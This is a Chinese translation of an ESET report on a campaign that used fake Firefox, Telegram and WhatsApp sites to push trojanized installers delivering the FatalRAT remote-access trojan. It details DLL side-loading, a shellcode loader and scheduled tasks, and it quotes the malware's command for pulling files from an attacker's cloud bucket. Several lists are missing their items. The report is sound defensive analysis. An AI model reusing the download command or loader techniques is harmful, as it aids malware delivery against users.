近日,ESET的安全研究人员发现了一种针对东南亚和东亚华语人群的恶意软件活动。攻击者通过在Google搜索结果中购买误导性广告,诱骗受害者下载安装木马安装程序。未知的攻击者创建了虚假网站,看起来类似于火狐浏览器、WhatsApp或Telegram等流行应用程序的网站,但除了提供合法软件外,他们还提供了一种远程访问木马FatalRAT,使攻击者能够控制受害的计算机设备。
根据ESET提供的攻击热图显示,2022年8月至2023年1月期间,大多数攻击影响了中国大陆及香港和台湾地区。其他少数受害群体依次来自马来西亚、日本、菲律宾、泰国、新加坡、印度尼西亚和缅甸。
【图1:2022年8月至2023年1月期间,ESET检测到的受害者地理分布】
图2展示了攻击的简单概况。由多个组件组成的链条最终会安装AT&T研究人员于2021年8月发现的FatalRAT恶意软件。据悉,这是一种远程访问木马,允许攻击者获取受害者计算机设备的控制权,包括执行任意shell命令、下载运行文件、从网络浏览器窃取数据以及捕获键入信息等。
【图2:攻击的简单概况】
攻击者注册了各种域名,这些域名都指向同一个IP地址:一个服务器托管多个下载木马软件的网站。其中一些网站看起来与合法网站一模一样,但却提供恶意安装程序。其他可能由攻击者翻译的网站则提供了中国人无法使用的软件的中文版本,如Telegram,详见图3。
【图3:传递 FatalRAT恶意软件的虚假Telegram网站】
ESET观察了这些应用程序的恶意网站和安装程序,按受欢迎程度排序大致为:
更多其他虚假网站详见图4。结果显示,除了Electrum比特币钱包网站外,其他网站都是中文网站,这表明攻击者主要针对华语群体。
【图4:攻击者为提供恶意安装程序而创建的虚假网站】
从理论上讲,潜在的受害者有很多可能的途径被引导到这些虚假网站,一家新闻网站报道称,当他们在谷歌中搜索Firefox浏览器时,会看到一则广告,引导他们进入这些恶意网站之一。我们无法重现这样的搜索结果,但相信这些广告只提供给了目标地区的用户。
据悉,在ESET向谷歌报告此问题后,谷歌已将这些恶意广告移除。
【图5:Firefox的搜索结果中,有一个虚假网站的广告】
鉴于攻击者为其网站注册的许多域名与合法域名非常相似,攻击者也有可能依靠拼写错误来吸引潜在的受害者访问他们的网站。一些例子包括:
从虚假网站下载的安装程序并不是托管在与网站相同的服务器上,而是托管在阿里云对象存储服务(Alibaba Cloud Object Storage Service)中。它们是用高级安装程序创建的数字签名MSI文件。图6显示了攻击者在2023年1月6日上载到云存储的恶意安装程序。
【图6:2023年1月6日,攻击者将恶意安装程序上传到云存储】
当执行这些安装程序时,它们通常:
该恶意软件通过侧载(side-loading)恶意DLL libpng13.dll运行,该DLL被sccs.exe(浏览器支持模块)使用,sccs.exe是迅雷开发的合法可执行文件。原始libpng13.dll也包含在安装包中(重命名为一个随机名称),因为恶意DLL将其导出的函数转发到原始DLL。恶意DLL中转发的一些导出如图7所示。图像显示,在本例中,原始DLL被重命名为BHuedjhd.dll,恶意DLL被编译为Dll22.dll。
【图7:在恶意DLL中被转发到原DLL的部分导出函数】
恶意软件更新程序以类似的方式执行,通过侧载dr.dll,由腾讯开发的合法签名二进制文件使用。恶意DLL非常简单,并执行OSSUTIL(包含在安装包中的su.exe)从攻击者控制的阿里云桶中下载文件。DLL执行的命令是:
cmd /C “C:\ProgramData\Progtmy\2\ssu.exe cp -r oss://occ-a1/dll/3/ C:\ProgramData\Progtmy\ –update”
这应该从远程存储桶occ-a1(与用于存储安装程序的桶不同,但在同一个帐户中)更新%PROGRAMDATA%\Progtmy本地目录中的文件,但是它在我们分析的任何安装程序中都不起作用,因为%PROGRAMDATA%\Progtmy\2子目录不存在(它应该是由安装程序创建的子目录0)。
攻击者在为更新程序创建的计划任务上犯了同样的错误,因为执行路径也引用了不存在的子目录2。在大多数情况下,会创建四个计划任务:两个用于RAT(一组定期执行,另一组在任何用户登录到PC时执行),两个用于更新程序。任务的名称基于Windows构建号和计算机名称,如图8所示。
【图8:由恶意安装程序创建的计划任务】
加载程序libpng13.dll是一个非常简单的组件,它在内存中打开并执行一个名为Micr.jpg的文件,该文件位于和DLL相同的目录中。攻击者通过多次调用只打印一些硬编码值的函数来混淆加载程序。使用此行为可能是为了避免被安全解决方案检测到,或使DLL的分析复杂化。
【图9:左边显示了混淆的代码,右边显示了去混淆的代码】
Micr.jpg实际上是包含嵌入式DLL的shellcode。该shellcode的目的是通过调用名为SignalChromeElf的DLL的导出函数来加载并在内存中执行嵌入式DLL。在执行这个导出函数之前,shellcode重构DLL的导入表并调用DllEntryPoint,它简单地调用Windows API函数DisableThreadLibraryCalls来增加DLL的隐蔽性。
SignalChromeElf本质上将解密、加载并执行嵌入DLL中的加密有效载荷。这个加密的有效载荷是FatalRAT恶意软件,在它解密后,DLL将找到一个名为SVP7的导出函数的地址,其中包含恶意软件的入口点,并调用它,将FatalRAT的加密配置作为参数传递。
嵌入式DLL中解密有效负载的函数与FatalRAT中用于解密其配置的函数相同。图10显示了该函数的一个示例。
FatalRAT是一种远程访问木马,由AT&T Alien Labs于2021年8月记录。这种恶意软件提供了一组功能,在受害者的计算机上执行各种恶意活动。例如,该恶意软件可以:
该恶意软件包含各种检查,以确定它是否在虚拟环境中运行。根据其配置,这些检查可能被执行,也可能不被执行。
根据ESET的分析结果可以确定这次活动中使用的FatalRAT版本与AT&T在其博文中记录的版本非常相似,所以这里不会赘述更多细节。图11显示了它们之间的比较,图10显示了用于解密来自该活动的FatalRAT样本中的字符串的反编译代码,这与AT&T所描述的相同。
【图10:FatalRAT样本用于解密其配置字符串的函数的反编译代码】
【图11:AT&T分析的FatalRAT样本与该活动中发现的FatalRAT样本之间的BinDiff比较】
ESET研究人员还发现了攻击者至少从2022年5月就开始使用的恶意安装程序的先前版本。与上述安装程序不同,这个版本包含一个xor加密的有效负载,分为三个文件:Micr. Flv、Micr2. flv以及Micr3. flv。每个文件都用不同的单字节XOR密钥加密。一旦解密,这三个文件的内容将被连接起来,形成与C&C服务器联系以下载和执行进一步shellcode的shellcode。
在这种情况下,加载程序DLL被命名为dr.dll——与安装程序的后续版本中用于更新机制的名称相同,由相同的合法可执行文件侧加载。鉴于这个旧版本似乎没有更新程序,研究人员认为攻击者自2022年8月以来已经用新版本的安装程序取代了它。
攻击者花费了很大精力,试图将其网站使用的域名尽可能地与官方名称相似。在大多数情况下,虚假网站甚至是合法网站的相同副本。至于木马安装程序,它们会安装用户感兴趣的实际应用程序,从而尽可能地避免被怀疑。由于所有这些原因,我们看到在下载软件之前仔细检查我们访问的URL是多么重要。更好的做法是,在检查它是否是实际的供应商站点后,再将它输入到浏览器的地址栏中。
由于这次活动使用的恶意软件FatalRAT包含了用于操纵来自不同浏览器数据的各种命令,而且受害者并不是针对特定类型的用户,因此任何人都可能受到影响。攻击者可能只对窃取网络证书等信息感兴趣,并在地下论坛上出售它们,或将它们用于另一种类型的犯罪软件活动,但目前还不可能将这种活动具体归因于已知或新的威胁行为者。
原文链接:
https://www.welivesecurity.com/2023/02/16/these-arent-apps-youre-looking-for-fake-installers/